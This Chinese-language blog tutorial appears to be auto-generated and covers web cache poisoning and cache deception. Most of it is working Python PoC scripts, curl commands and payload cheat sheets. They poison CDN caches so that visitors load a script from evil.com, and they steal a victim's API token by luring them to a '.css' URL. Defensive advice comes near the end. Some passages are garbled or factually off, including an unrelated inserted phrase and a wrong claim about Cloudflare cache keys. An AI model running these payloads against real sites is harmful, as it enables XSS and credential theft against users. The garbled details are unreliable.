PingSec 安全日报

root@pingsec:~$
🔵 安全研究web缓存缓存投毒缓存欺骗pentestweb安全

【教程】Web缓存投毒与缓存欺骗实战:从CDN检测到完整利用链(含PoC与防御方案)

📅 2026年6月21日 📁 Cron Job ⏱ 7 分钟

适合人群:有Web基础的安全测试人员、Bug Bounty猎人、渗透测试工程师

前置知识:HTTP协议基础、CDN基础概念、Burp Suite基本使用

一、前置准备

工具安装


# ParamSpider — 参数发现
pip3 install arjun
go install github.com/devanshbatham/paramspider@latest

# Cache Key 检测工具
go install github.com/tomnomnom/unfurl@latest
go install github.com/tomnomnom/waybackurls@latest

# Burp Suite 插件
# 安装巴啦啦小魔仙 · Turbo Intruder
# 安装 Collaborator Everywhere

# 靶场搭建(本地测试用)
git clone https://github.com/s0md3v/Web-Cache-Vulnerability-Scanner.git
cd Web-Cache-Vulnerability-Scanner && docker-compose up -d

靶场验证

推荐在线靶场

  • PortSwigger Web Cache Poisoning Labs(需Pro账户)
  • https://pentesterlab.com/exercises/web_cache_poisoning

二、核心原理

什么是Web缓存?

Web缓存(CDN / 反向代理 / 浏览器缓存)的核心逻辑:


用户请求 → CDN(Cloudflare/Akamai) → 源站
                ↓
         缓存了么?→ 有→直接返回
               无→请求源站→缓存→返回

关键概念Cache Key — CDN判断"两个请求是否相同"的依据。默认通常是 Host + Path + Query String不在Cache Key中的请求头,就是攻击面。

两种攻击路径

攻击类型目标影响
Web Cache Poisoning(缓存投毒)让CDN缓存恶意响应所有访问该页面的用户看到攻击内容
Web Cache Deception(缓存欺骗)让受害者把敏感页面变为缓存攻击者从CDN读取缓存中的敏感数据

缓存投毒的核心条件

  1. 未Key化的输入 — 某个请求头(X-Forwarded-HostX-Original-URL等)参与响应生成但不参与Cache Key计算
  2. 反射 — 该输入的值被反射到响应中(如URL、脚本路径)
  3. 缓存行为 — 响应被CDN标记为可缓存(Cache-Control: publicmax-age > 0、无Set-Cookie

缓存欺骗的核心条件

  1. 路径混淆 — 源站和CDN对路径扩展名的理解不一致
  2. 缓存规则 — 静态文件扩展名(.css.js.jpg)被缓存
  3. 敏感页面 — 如 /profile → 附加.css变成 /profile.css → CDN缓存,源站返回个人资料

三、实操步骤

3.1 缓存投毒 — 基础检测

Step 1:识别CDN


curl -sI https://target.com | grep -i -E 'cf-ray|server|x-cache|x-served-by|x-amz-cf'
# Cloudflare: cf-ray, x-cache
# Akamai: x-akamai-*
# Fastly: x-served-by, x-cache
# AWS CloudFront: x-amz-cf-id

Step 2:找未Key化的请求头


# 用 ParamSpider + 自定义规则
python3 -c "
import requests

headers_pool = [
    'X-Forwarded-Host', 'X-Forwarded-Scheme', 'X-Original-URL',
    'X-Rewrite-URL', 'X-HTTP-Method-Override', 'X-HTTP-Host-Override',
    'Forwarded', 'X-Forwarded-For', 'X-Real-IP', 'X-ProxyUser-IP',
    'X-Originating-IP', 'X-Remote-IP', 'X-Client-IP',
    'X-Backend-Host', 'X-Host', 'X-Custom-IP-Authorization',
    'X-Accel-Redirect', 'X-Sendfile'
]

url = 'https://target.com/profile'
for h in headers_pool:
    for val in ['evil.com', '//evil.com', '//evil.com/evil.css']:
        resp = requests.get(url, headers={h: val}, timeout=5)
        if val in resp.text or val in resp.headers.get('Location',''):
            print(f'[!] {h}: {val} → REFLECTED in response')
" 2>/dev/null

实战经验X-Forwarded-HostX-Original-URL 是最常被未Key化且反射的两个头。

Step 3:确认缓存行为


# 发两次请求,看第二次是否 HIT
curl -sI -H 'X-Forwarded-Host: evil.com' https://target.com/resources/script.js | grep -i 'x-cache\|cf-cache-status'
# 第一次:MISS
# 第二次:HIT → 可缓存投毒

3.2 缓存投毒 — 利用链

场景1:CSS/JS劫持


请求:
GET /static/app.js HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

响应(反射到脚本URL):
<script src="//evil.com/static/app.js"></script>

使所有用户加载你的恶意JS → XSS / 信息窃取。

场景2:URL路径劫持(RPO攻击)


请求:
GET /style.css/..;/profile HTTP/1.1
Host: target.com

如果CDN认为path是 /style.css(可缓存),
但源站解析为 /profile(返回HTML),
CDN缓存了包含敏感数据的"CSS文件"。

场景3:Cache Poisoning → XSS 完整PoC


#!/usr/bin/env python3
"""Web Cache Poisoning → XSS PoC"""
import requests
import hashlib, time

TARGET = "https://target.com"
PAYLOAD = "https://evil.com/xss.js"
HEADER = "X-Forwarded-Host"
CACHE_KEY_FILE = "/tmp/cache_poc_state.txt"

def check_reflection(url, header, payload):
    """检查头是否反射到响应"""
    resp = requests.get(url, headers={header: payload}, timeout=10)
    if payload.rstrip('/') in resp.text:
        return True, resp
    return False, resp

def poison_cache(url, header, payload):
    """投毒:使CDN缓存恶意响应"""
    resp = requests.get(url, headers={header: payload}, timeout=10)
    cache_status = resp.headers.get('X-Cache', resp.headers.get('CF-Cache-Status', 'UNKNOWN'))
    return cache_status, resp

def check_cache_hit(url):
    """验证缓存污染后的普通请求是否收到恶意内容"""
    resp = requests.get(url, timeout=10)
    cache_status = resp.headers.get('X-Cache', resp.headers.get('CF-Cache-Status', 'UNKNOWN'))
    has_malicious = PAYLOAD.rstrip('/') in resp.text
    return cache_status, has_malicious, resp

# 主流程
reflected, _ = check_reflection(TARGET, HEADER, PAYLOAD)
if not reflected:
    print(f"[-] {HEADER} 未反射,尝试其他头")
    exit(1)

print(f"[+] {HEADER} 可反射,开始投毒...")

# 投毒请求(带payload头)
status, _ = poison_cache(TARGET, HEADER, PAYLOAD)
print(f"[*] 投毒请求缓存状态: {status}")

# 等待缓存生效
time.sleep(2)

# 普通请求验证
cache_status, poisoned, resp = check_cache_hit(TARGET)
if poisoned:
    print(f"[!] 投毒成功!缓存命中: {cache_status}")
    print(f"[!] 所有访问 {TARGET} 的用户将加载 {PAYLOAD}")
else:
    print(f"[-] 投毒未生效,缓存状态: {cache_status}")
    print(f"[-] Cache Key 可能包含了 {HEADER}")

3.3 缓存欺骗 — 基础检测

核心思路:诱导受害者访问 敏感页面.css,CDN把响应当CSS缓存,攻击者从缓存读取。


# 发现敏感页面
python3 -c "
import requests

sensitive = ['/profile', '/account', '/dashboard', '/settings',
             '/api/user', '/order', '/admin', '/private']

for path in sensitive:
    # 附加 .css 后缀
    test_url = f'https://target.com{path}.css'
    resp = requests.get(test_url, timeout=5)
    cache = resp.headers.get('X-Cache', '')
    cl = resp.headers.get('Content-Length', '-')
    ct = resp.headers.get('Content-Type', '')
    set_cookie = 'Set-Cookie' in resp.headers

    if 'HIT' in cache and cl != '-' and int(cl) > 500:
        print(f'[!] 可能缓存欺骗: {test_url}')
        print(f'    Cache: {cache} | Size: {cl} | Type: {ct}')
    elif 'MISS' in cache and 'text/html' in ct:
        print(f'[?] 可尝试: {test_url} (MISS, 诱导访问后变HIT)')
"

3.4 缓存欺骗 — 利用链


攻击流程:
1. 攻击者找到敏感页面 https://target.com/profile
2. 构造URL:https://target.com/profile.css
3. 通过社交工程发送链接给受害者(或嵌入iframe/图片)
4. 受害者访问 → 源站返回 profile 内容(HTML)+ CDN缓存
5. 攻击者请求同一个URL → CDN返回HIT → 读取敏感数据

自动化缓存欺骗利用脚本


#!/usr/bin/env python3
"""Web Cache Deception PoC"""
import requests
import sys

def test_cache_deception(base_url, extension='.css'):
    """测试指定路径是否存在缓存欺骗"""
    if not base_url.endswith('/'):
        base_url += '/'

    # 先请求原页面确认有敏感内容
    try:
        resp_orig = requests.get(base_url.rstrip('/'), timeout=10, allow_redirects=False)
        if resp_orig.status_code != 200:
            print(f"[-] {base_url} 返回 {resp_orig.status_code},跳过")
            return False
        orig_len = len(resp_orig.text)
        print(f"[*] 原页面大小: {orig_len} bytes")
    except Exception as e:
        print(f"[-] 请求失败: {e}")
        return False

    # 测试各种扩展名
    for ext in ['.css', '.js', '.jpg', '.png', '.gif', '.ico', '.svg', '.txt']:
        poisoned_url = base_url.rstrip('/') + ext
        resp = requests.get(poisoned_url, timeout=10, allow_redirects=False)
        is_cache_hit = 'HIT' in resp.headers.get('X-Cache', '')
        is_cache_hit = is_cache_hit or 'HIT' in resp.headers.get('CF-Cache-Status', '')
        is_same_size = abs(len(resp.text) - orig_len) < 100

        if is_cache_hit and is_same_size:
            print(f"[!] 缓存欺骗确认: {poisoned_url}")
            print(f"    Cache: {resp.headers.get('X-Cache', 'N/A')}")
            print(f"    Size: {len(resp.text)} (匹配原页面)")
            return True
        elif is_same_size:
            print(f"[?] 内容匹配但未缓存: {poisoned_url} ({resp.headers.get('X-Cache', 'N/A')})")

    return False

if __name__ == '__main__':
    url = sys.argv[1] if len(sys.argv) > 1 else input("目标URL: ")
    test_cache_deception(url)

四、绕过技术

4.1 Cache Key 绕过

技术方法场景
Query参数?cachebuster=123&evil=1参数参与Key,但多余参数不参与
HTTP方法POSTGET切换POST不缓存,用GET绕过
路径规范化/./style.css vs /style.cssCDN规范化不同
协议降级http:// vs https://CDN可能分开缓存
端口差异:443 vs 无端口某些CDN视为不同Key
Header变异X-Forwarded-Host大小写CDN可能忽略大小写差异

4.2 CDN特定绕过

Cloudflare 绕过


# CF 用 CF-Ray 做部分缓存键,但 X-Forwarded-Host 有时不被Key化
curl -sI -H 'X-Forwarded-Host: evil.com' https://target.com/
# CF-Cache-Status: HIT → 成功投毒

# 利用 CF 的 Normalize 特性
curl -sI -H 'X-Forwarded-Proto: http' https://target.com/secure-page
# 如果源站根据协议返回不同内容,但CF只Key了Host+Path

Fastly/Akamai 绕过


# Fastly 有自定义VCL,Cache Key可能仅包含 Host+Path
# 测试头: X-Originating-URL, X-Backend-Host, X-Host
curl -sI -H 'X-Host: evil.com' https://target.com/path

4.3 缓存欺骗 — WAF/CDN规则绕过


# 双层扩展名
/profile.css;.js
/profile.css%00.js

# 路径参数
/profile;.css
/profile..css

# 编码
/profile%2ecss
/profile%252ecss

# 区分大小写
/profile.CSS
/Profile.css

# 利用URL rewrite
/profile/../nonexistent.css

五、实战案例复盘

案例1:某电商平台(已脱敏)

发现过程

  1. 首页 / 使用 X-Forwarded-Host 生成页面中的资源CDN域名
  2. Cache-Control: public, max-age=3600 → 可缓存
  3. 注入 X-Forwarded-Host: attacker.com → 所有JS/CSS引用指向攻击者服务器
  4. 缓存投毒成功 → 1小时内所有访问用户执行恶意JS

关键payload


GET / HTTP/1.1
Host: shop.example.com
X-Forwarded-Host: evil.com
Cache-Control: no-transform

案例2:某SaaS平台缓存欺骗

发现过程

  1. 用户资料页 /dashboard 返回JSON格式个人信息(含token)
  2. 源站对 /dashboard.css 返回相同内容(路由框架问题)
  3. Cloudflare 缓存了 .css 静态资源
  4. 诱导管理员点击 /dashboard.css
  5. 攻击者从CDN缓存读取到管理员API Token

PoC


# 1. 诱导步骤:发送链接给受害者
https://saas.example.com/dashboard.css

# 2. 等待受害者访问 → CDN缓存

# 3. 攻击者读取缓存
curl -s https://saas.example.com/dashboard.css | grep -oP '"token":"[^"]+"'
# 输出: "token":"eyJhbGciOiJIUzI1NiIs..."

案例3:某CDN配置缺陷(已脱敏)

发现过程

  • CDN配置为缓存 /api/* 响应(本意是缓存公共API)
  • X-Forwarded-For 被用来做AB测试分组,参与响应生成
  • 注入伪造IP → 获取管理员分组的数据权限

六、防御建议

开发端


# 1. Cache Key 完整性 — 所有影响响应内容的输入都加入Cache Key
# 2. 不信任任何HTTP头用于安全决策
def safe_get_host(request):
    # ❌ 错误做法
    # return request.headers.get('X-Forwarded-Host')
    # ✅ 正确做法
    return request.host

# 3. 敏感页面强制 no-store
@app.after_request
def add_cache_headers(response):
    if response.mimetype == 'text/html':
        response.headers['Cache-Control'] = 'no-store, no-cache'
    return response

CDN配置

CDN防御措施
CloudflarePage Rules → Cache Key 自定义 → 添加 X-Forwarded-Host
AWS CloudFront禁用 X-Forwarded-Host 转发,用 Whitelist Headers 精细化Cache Key
FastlyVCL 中 hash_data() 显式包含所有相关请求头
AkamaiProperty Manager → Cache Key Behavior → 包含 Host Header
Nginxproxy_cache_key "$scheme$host$uri$is_args$args";

运维端


# nginx 反代配置 — 禁用不安全头
# /etc/nginx/sites-available/target
server {
    listen 443 ssl;
    ...
    # 禁用危险请求头转发
    proxy_set_header X-Forwarded-Host $host;
    proxy_set_header X-Original-URL "";
    proxy_set_header X-Rewrite-URL "";

    # 缓存配置
    proxy_cache_key "$scheme$host$request_uri";

    # 敏感路径禁止缓存
    location ~* /(profile|account|admin|api/private) {
        add_header Cache-Control "no-store, no-cache, must-revalidate";
        proxy_no_cache 1;
        proxy_cache_bypass 1;
    }
}

自动化检测


# 使用 Nuclei 模板扫描
cat > cache-poisoning-template.yaml << 'EOF'
id: cache-poisoning-check
info:
  name: Web Cache Poisoning Check
  severity: high

requests:
  - method: GET
    path:
      - "{{BaseURL}}"
    headers:
      X-Forwarded-Host: "evil.com"
    matchers:
      - type: word
        words:
          - "evil.com"
        part: body
EOF

nuclei -t cache-poisoning-template.yaml -l targets.txt -v

七、常见陷阱

#陷阱原因解决方法
1以为是投毒实际是bypassCDN返回未缓存的临时响应发两次相同请求确认Cache HIT
2Cache Key包含测试头CDN/源站已修复尝试不同变体(大小写/编码)
3头反射了但不影响功能反射在注释/不可见元素中检查完整响应体,找可利用反射点
4缓存时间极短CDN配置短TTL用Turbo Intruder持续投毒抢占缓存
5静态路径劫持失败CDN路径规范化不同/./path//path/path;
6敏感页面有Set-CookieSet-Cookie 阻止CDN缓存测试 Cookie 未设置时的响应
7标的CMS有内置缓存WordPress/WooCommerce有自己的页面缓存测试 ?dontcache=1 参数
8CDN分层投毒多层CDN(Cloudflare → Fastly)逐层测试,找到真正缓存层

八、总结(含速查表)

检测流程速查


1. 识别CDN → curl -sI | grep x-cache/cf-ray
2. 找未Key化头 → 遍历headers_pool,查反射
3. 确认缓存 → 两次请求,第二次HIT
4. 投毒触发 → 带恶意头的请求→CDN缓存
5. 验证 → 普通请求返回恶意内容

Payload速查表

攻击类型Payload目标头
CSS/JS劫持X-Forwarded-Host: evil.com脚本/Style URL
路径劫持X-Original-URL: /admin/../style.css后端路径解析
RPO攻击/style.css/..;/profileCDN/Source 路径差异
缓存欺骗/.css后缀附加CDN静态扩展名规则
参数投毒?cb=1&x=evil多余参数未Key化

工具清单

工具用途链接
ParamSpider参数发现github.com/devanshbatham/paramspider
Turbo Intruder高速投毒portswigger.net/bappstore
Collaborator EverywhereOOB检测portswigger.net/bappstore
Nuclei自动化扫描github.com/projectdiscovery/nuclei
Waybackurls历史URL提取github.com/tomnomnom/waybackurls
Web-Cache-Vulnerability-Scanner专用测试工具github.com/s0md3v/Web-Cache-Vulnerability-Scanner
UnfurlURL解析github.com/tomnomnom/unfurl

参考文献

← 返回首页